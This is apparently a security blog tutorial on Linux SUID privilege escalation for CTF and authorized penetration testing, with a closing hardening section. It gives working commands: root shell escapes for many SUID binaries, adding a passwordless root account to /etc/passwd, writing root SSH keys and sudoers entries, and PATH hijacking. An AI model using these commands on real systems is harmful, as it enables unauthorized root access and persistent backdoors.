The privilege escalation techniques demonstrated here are covered in the context of CTF environments and authorized penetration testing. These techniques require explicit written authorization before use on real systems. Unauthorized access to computer systems is illegal under the Computer Fraud and Abuse Act (CFAA) and equivalent legislation worldwide.
Photo by Lukas Blazek on Pexels
SUID (Set User ID) is a Linux permission bit that makes a program run with the file owner’s privileges, not the executing user’s. When a root-owned binary has SUID set, it runs as root. Find them with find / -perm -u=s -type f 2>/dev/null, then check each result against GTFOBins. Common exploitable SUID binaries: bash, find, vim, python, env, awk, perl.
After getting an initial shell on a Linux CTF machine, the next question is almost always: can I escalate to root? SUID binaries are one of the most common and reliable paths. The technique is conceptually simple — find a binary that runs as root, figure out if it can be tricked into running your commands, run them. What varies is which binary is present and how its specific exploitation works.
How SUID Works
SUID (Set User ID) — a Unix file permission bit that modifies execution behavior. When an executable file has the SUID bit set and is owned by root, any user who executes it temporarily gains root’s effective UID for the duration of that process. The kernel enforces this at the execve() system call level — the process’s EUID (effective user ID) becomes the file owner’s UID, overriding the executing user’s UID.
Reading SUID in ls output
The lowercase s in the owner execute position is the SUID indicator. When you see it on a root-owned binary, that binary runs as root regardless of who executes it. The passwd command is a legitimate example — it needs root to write to /etc/shadow even when run by an unprivileged user.
Verify SUID with stat
$ verify SUID bitstat /usr/bin/passwd
# Look for: Access: (4755/-rwsr-xr-x) Uid: ( 0/ root)
# 4755 = octal: 4 = SUID bit, 755 = rwxr-xr-x
Finding SUID Binaries
$ standard SUID discovery — run this firstfind / -perm -u=s -type f 2>/dev/null
Alternate syntax (same result):
$ alternate perm syntaxfind / -perm /4000 -type f 2>/dev/null
Pipe through a quick compare against known-standard SUID binaries to isolate unusual entries:
$ filter to non-standard SUID binariesfind / -perm -u=s -type f 2>/dev/null | grep -v -E "/(bin|sbin|usr/bin|usr/sbin)/(passwd|sudo|su|mount|umount|ping|newgrp|chfn|chsh|gpasswd|pkexec|polkit)"
GTFOBins Reference
GTFOBins (gtfobins.github.io) is the definitive reference for exploiting SUID binaries. For each binary, it documents the exact command to run when that binary has the SUID bit set. The workflow: find an unexpected binary in your SUID list → check GTFOBins under “SUID” filter → copy the command → adapt IP/path → run.
bash
SUID bash is an instant root shell. The -p flag preserves the effective UID rather than dropping to the real UID (bash 4.4+ security behavior):
/bin/bash -p
bash-5.1# whoami
root
Without -p: bash detects that EUID ≠ RUID and drops privileges to the real UID. -p (privileged mode) skips this behavior. Always include it.
# Verify: shows your effective UID as root
id
# uid=1000(user) gid=1000(user) euid=0(root) groups=...
find
find’s -exec flag executes arbitrary commands. With SUID find, those commands run as root:
find . -exec /bin/sh -p \; -quit
Alternative using -execdir:
find . -execdir /bin/sh -p \; -quit
Single command execution (without dropping to shell):
# Add a root user to /etc/passwd
find . -exec bash -c "echo 'hacker:\$1\$salt\$hash:0:0:root:/root:/bin/bash' >> /etc/passwd" \;
-quit stops find after the first match — without it, the shell opens and closes for every file found, making it unusable interactively.
vim / vi
vim’s shell escape allows executing commands from inside the editor:
vim -c ':!/bin/sh'
The -c flag executes a vim command immediately. :! runs a shell command from vim. Result: shell as root without opening a file.
Inside vim, after opening any file:
:set shell=/bin/sh
:shell
Reading sensitive files directly:
vim /etc/shadow
# or from inside vim:
:e /etc/shadow
python / python3
Python’s os module provides direct access to OS functions — run as root with SUID python:
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
Python 2 syntax:
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
Write a file as root (e.g., modify /etc/passwd):
python3 -c 'open("/etc/passwd","a").write("hacker::0:0::/root:/bin/bash")'
hacker::0:0::/root:/bin/bash) to /etc/passwd creates a root-equivalent account. Switch with su hacker. Requires /etc/passwd to be writable, which SUID python makes possible.env
env runs programs in a modified environment. With SUID, use it to execute a shell:
env /bin/sh -p
awk
awk’s system() function executes shell commands:
awk 'BEGIN {system("/bin/sh -p")}'
perl
perl -e 'exec "/bin/sh -p"'
exec() replaces the perl process with /bin/sh. Note: the -p is a shell flag passed to sh, not a Perl flag here.
less / more
Both less and more have shell escapes accessible while paging content:
# Open any file with less
less /etc/passwd
# Inside less, type:
!/bin/sh
# more variant
more /etc/passwd
# Inside more, type:
!/bin/sh
less without a file argument (direct shell):
less /etc/profile
# type: !/bin/sh
cp and tee — File Write Exploits
Some SUID binaries don’t give a direct shell but can write files as root. This enables privilege escalation through /etc/passwd, /etc/sudoers, or SSH authorized_keys:
cp with SUID can overwrite any root-owned file:
# Step 1: copy /etc/passwd locally, add a root user
cp /etc/passwd /tmp/passwd_bak
echo "hacker::0:0::/root:/bin/bash" >> /tmp/passwd_bak
# Step 2: overwrite /etc/passwd with SUID cp
cp /tmp/passwd_bak /etc/passwd
# Step 3: switch to the new root account (no password)
su hacker
tee reads stdin and writes to a file — with SUID, writes to any file as root:
# Write your public key to root's authorized_keys
cat ~/.ssh/id_rsa.pub | tee /root/.ssh/authorized_keys
# Add entry to /etc/sudoers
echo "user ALL=(ALL) NOPASSWD: ALL" | tee -a /etc/sudoers
nmap (legacy)
Old nmap versions had an interactive mode that allowed shell execution. Only applicable to nmap <5.21 — check the version first:
nmap --version
# Only works if version is 2.02 to 5.21
# Interactive mode (nmap 2.02–5.21 only)
nmap --interactive
nmap> !sh
For nmap 5.22+, use the NSE script engine if nmap still has SUID:
echo 'os.execute("/bin/sh")' > /tmp/shell.nse
nmap --script=/tmp/shell.nse
Note: SUID nmap is a CTF staple but extremely rare in modern environments — nmap has not required SUID for a long time. If you see it, it’s intentional.
Custom SUID Binaries
CTF machines sometimes include custom SUID binaries — compiled programs written specifically for the challenge. These don’t appear in GTFOBins and require analysis. Starting points:
$ initial analysis of unknown SUID binary# Check what strings are embedded in the binary
strings /path/to/suid_binary
# Check what shared libraries it uses
ldd /path/to/suid_binary
# Check what system calls it makes (run as current user)
strace /path/to/suid_binary 2>&1
# Check library calls
ltrace /path/to/suid_binary 2>&1
# Check what files it accesses
strace -e trace=file /path/to/suid_binary 2>&1
Common vulnerabilities in custom SUID binaries:
- Using system() with relative paths — if the binary calls
system("cat /etc/passwd")using the full path it’s safe, butsystem("cat")with a relative path is exploitable by PATH manipulation - PATH hijacking — if the binary calls a command without a full path, place your own version of that command earlier in PATH and the SUID binary will execute it as root
- Writable shared library — if ldd shows a library that’s world-writable, replace it with a malicious version
# Binary calls: system("cat file.txt") -- 'cat' without full path
# Create malicious 'cat' that spawns a shell
mkdir /tmp/evil
echo '/bin/bash -p' > /tmp/evil/cat
chmod +x /tmp/evil/cat
# Prepend to PATH and run the SUID binary
PATH=/tmp/evil:$PATH /path/to/suid_binary
Defensive Context
Audit SUID binaries regularly: The same find command used for discovery is the right tool for baseline auditing. Running find / -perm -u=s -type f 2>/dev/null and comparing the output against a known-good baseline is a standard hardening check. Any SUID binary not in the baseline is worth investigating. Tools like Lynis and CIS benchmarks include SUID audits as standard checks.
Remove unnecessary SUID bits: The principle of least privilege applies to SUID. If a binary doesn’t need to run as root, remove the SUID bit: chmod u-s /path/to/binary. Many SUID bits that were set historically for system functionality are no longer necessary on modern kernels. ping, for example, no longer requires SUID on kernels that support CAP_NET_RAW capabilities.
Linux capabilities as an alternative to SUID: Modern Linux systems use capabilities to grant specific elevated privileges to binaries rather than full root SUID. CAP_NET_RAW for ping, CAP_SETUID for user management tools. This is preferable to SUID — a capability grants only the specific elevated action needed, not full root effective UID. Check capability assignments with getcap -r / 2>/dev/null — misconfigured capabilities are also a privesc vector.
Mount options: nosuid as a mount option on non-system partitions (/tmp, /home, external mounts) prevents SUID execution from those locations. This stops an attacker who can write a file to those locations from installing their own SUID binary. /tmp is world-writable and particularly worth protecting — nosuid on /tmp is a common hardening measure.
🔍 Things to Consider
The SUID find command is always one of the first things to run after getting a foothold — but what you do with the output matters. Standard SUID binaries (passwd, su, sudo, mount) are expected and not interesting. The unusual entries are what you’re looking for: a programming language interpreter, a text editor, a file utility, a custom binary with a name that doesn’t match any known tool. Run strings on custom binaries before anything else — it’s surprising how often the exploit path is visible in the embedded strings. GTFOBins is the accelerant — check it before spending time reverse engineering something that’s already been documented.
~Cipherceval
Frequently Asked Questions
What is SUID in Linux and why is it a privilege escalation vector?
SUID (Set User ID) is a Linux file permission bit that causes a program to run with the file owner’s effective UID rather than the executing user’s. When a root-owned executable has SUID set, any user who runs it temporarily gains root’s effective UID. If that program allows arbitrary command execution — through shell escapes, system() calls, or file operations — those commands run as root. This makes any exploitable SUID binary a direct path to root from any user account.
How do you find SUID binaries on Linux?
Use: find / -perm -u=s -type f 2>/dev/null. This searches the entire filesystem for files with the SUID bit set (-perm -u=s), limits to regular files (-type f), and suppresses permission errors (2>/dev/null). Compare the output against known-standard SUID binaries (passwd, su, sudo, mount) to isolate unusual entries worth investigating on GTFOBins.
What is GTFOBins?
GTFOBins (gtfobins.github.io) is a curated list of Unix binaries that can be used to bypass local security restrictions. For each binary it documents the exact command to exploit it when it has the SUID bit set, when it’s in sudo rules, or when it’s available in a restricted shell. It’s the standard reference for SUID and sudo privilege escalation in CTF and penetration testing. Filter by “SUID” to see what applies to your finding.
Why does bash -p work with SUID bash?
bash 4.4+ detects when the effective UID differs from the real UID (which happens with SUID execution) and drops privileges to prevent exploitation — a built-in security measure. The -p flag (privileged mode) overrides this behavior and preserves the elevated effective UID. Without -p, SUID bash drops back to your actual user ID. Always use bash -p with SUID bash binaries.
Can SUID work on scripts?
No — the Linux kernel ignores the SUID bit on interpreted scripts (shell scripts, Python scripts, etc.). SUID only works on compiled ELF binaries. This is a deliberate kernel security decision. In CTF challenges, SUID escalation always involves compiled binaries — either standard ones documented in GTFOBins or custom compiled programs written for the challenge.
After a root shell via SUID: stabilize with the reverse shell TTY upgrade techniques. SUID privilege escalation shows up constantly across Linux CTF machines and real-world misconfigurations alike.
Stay vigilant, stay curious, and update your stuff.
— Cipherceval / Forgebound Research
Exploit Brokers by Forgebound Research
Disclaimer: The content presented by Exploit Brokers by Forgebound Research is for educational and informational purposes only. Cipherceval is a cybersecurity educator and commentator — not your personal security consultant, legal counsel, or professional advisor. Always consult qualified professionals for decisions affecting your systems and security posture.
Technical Disclaimer: These techniques require explicit written authorization before use on real systems. Unauthorized access to computer systems is illegal under the Computer Fraud and Abuse Act (CFAA) and equivalent legislation worldwide.
Leave a Reply